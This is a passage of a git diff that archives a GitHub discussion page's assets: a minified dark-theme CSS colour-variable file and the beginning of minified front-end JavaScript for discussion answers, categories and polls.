#c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}} + +/*# sourceMappingURL=dark-27e9c50c7b31.css.map*/ \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js new file mode 100644 index 0000000..b0e0f01 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js @@ -0,0 +1,35 @@ +"use strict";(()=>{var te=Object.defineProperty;var o=(T,E)=>te(T,"name",{value:E,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["discussions"],{67105:(T,E,a)=>{var l=a(6741),d=a(64463),v=a(65935);(0,d.N7)(".js-discussions-goto-answer-button",{add:e=>{const t=e.getAttribute("href"),n=document.querySelector(t);n&&(0,l.RB)(e,"click",s=>{if(t){s.preventDefault();let m="center";n.getBoundingClientRect().height>=window.innerHeight&&(m="start"),n.scrollIntoView({behavior:"smooth",block:m})}},{capture:!0})}}),(0,d.N7)(".js-discussions-title-container",{add:e=>{e.querySelector(".js-discussions-goto-answer-button")?h():f()}});function h(){const e=document.querySelector(".js-discussion");e&&e.classList.add("answered")}o(h,"removeMarkAsAnswerButtons");function f(){const e=document.querySelector(".js-discussion");e&&e.classList.remove("answered")}o(f,"addMarkAsAnswerButtons"),(0,v.AC)(".js-discussion-comment-mark-answer",async function(e,t){await c(e,t)}),(0,v.AC)(".js-discussion-comment-unmark-answer",async function(e,t){await c(e,t)});async function c(e,t){const n=await t.html();let s=e;const m=e.closest("[data-replace-remote-form-target]");if(m){const y=m.getAttribute("data-replace-remote-form-target");s=y?document.getElementById(y):m}s.replaceWith(n.html)}o(c,"replaceAnswerForm");var i=a(59753),r=a(45075);(0,r.w4)("keyup",".js-discussion-category-name-field",function(){const e=document.querySelector(".js-discussion-category-form");if(!e)return;const t=e.querySelector(".js-discussion-category-name-field"),n=e.querySelector(".js-submit-discussion-category");t.value.length>0&&(n.disabled=!1)}),(0,i.on)("click",".js-discussion-category-toggle-emoji-picker",function(e){const n=u(e).querySelector(".js-discussion-category-emoji-picker");n.hidden=!n.hidden}),(0,i.on)("click",".js-discussion-category-emoji-button",function(e){if(!(e.currentTarget instanceof HTMLButtonElement))return;const t=u(e),n=t.querySelector(".js-discussion-category-emoji-field");n.value=e.currentTarget.value;const s=t.querySelector(".js-discussion-category-custom-emoji");s.innerHTML=e.currentTarget.innerHTML;for(const y of t.querySelectorAll(".selected-emoji"))y.classList.remove("selected-emoji");e.currentTarget.classList.add("selected-emoji");const m=t.querySelector(".js-discussion-category-emoji-picker");m.hidden=!0});function u(e){return e.currentTarget.closest(".js-discussion-category-form")}o(u,"getDiscussionCategoryContainer");function b(e){var t;const n=document.querySelector("#category-select-header"),s=document.querySelector(".js-discussion-category-select-label"),m=(t=e.querySelector(".js-discussion-category-emoji"))==null?void 0:t.cloneNode(!0),y=document.createTextNode(e.getAttribute("data-category-name")),C=e.getAttribute("data-supports-polls"),B=document.createElement("span");n instanceof HTMLElement&&(B.setAttribute("id","category-select-header"),B.setAttribute("class","css-truncate css-truncate-target"),B.setAttribute("data-supports-polls",C),m instanceof HTMLElement&&(m.classList.add("mr-2"),B.appendChild(m)),B.appendChild(y),n.replaceWith(B),s instanceof HTMLElement&&(s.hidden=!1))}o(b,"updateHeader");function p(e){const t=document.querySelector("#discussion_poll_form");!t||(t.hidden=!e)}o(p,"displayPollForm"),(0,i.on)("click",".js-poll-option-template-button",function(e){var t;const s=e.currentTarget.parentElement,m=s.querySelector(".js-poll-option-destroy-field"),y=s.closest(".js-discussion-poll-form-component");m?(m.value="true",(t=m.nextElementSibling)==null||t.classList.remove("js-poll-option"),s.hidden=!0):s.remove();const C=document.querySelector(".js-add-poll-option");(C==null?void 0:C.hidden)&&(C.hidden=!1,C.setAttribute("aria-hidden","false")),y&&(0,i.f)(y,"pollOptionRemoved")}),(0,i.on)("click",".js-add-poll-option",function(e){const t=e.currentTarget,n=document.querySelector("#poll-option-container"),s=+n.getAttribute("data-poll-options-limit"),m=document.querySelector(".js-poll-option-template"),y=n.getAttribute("data-new-discussion")==="true";if(n&&m){const B=m.cloneNode(!0);B.hidden=!1;const Y=B.querySelector(".js-poll-option-template-input");if(y)Y.name="discussion[poll_attributes][options_attributes][][option]";else{const At=n.getAttribute("data-poll-option-next-key");Y.name=`discussion[poll_attributes][options_attributes][${At}][option]`,n.setAttribute("data-poll-option-next-key",`${parseInt(At)+1}`)}n.appendChild(B)}const C=n.querySelectorAll(".js-poll-option").length;t&&C>=s&&(t.hidden=!0,t.setAttribute("aria-hidden","true"))}),(0,i.on)("change","#js-verify-searched",function(e){const t=e.currentTarget,n=document.querySelector("#submit"),s=document.querySelector("#new_discussion");s instanceof HTMLFormElement&&s.checkValidity()&&n&&(n.disabled=!t.checked)}),(0,i.on)("change","#js-discussion-title",function(e){const t=e.currentTarget,n=document.querySelector("#js-similar-search-link");if(n instanceof HTMLAnchorElement&&t instanceof HTMLInputElement){const s=n.getAttribute("data-path");n.href=`${s}${encodeURIComponent(t.value)}`}}),(0,i.on)("details-menu-selected",".js-discussion-category-select",function(e){const 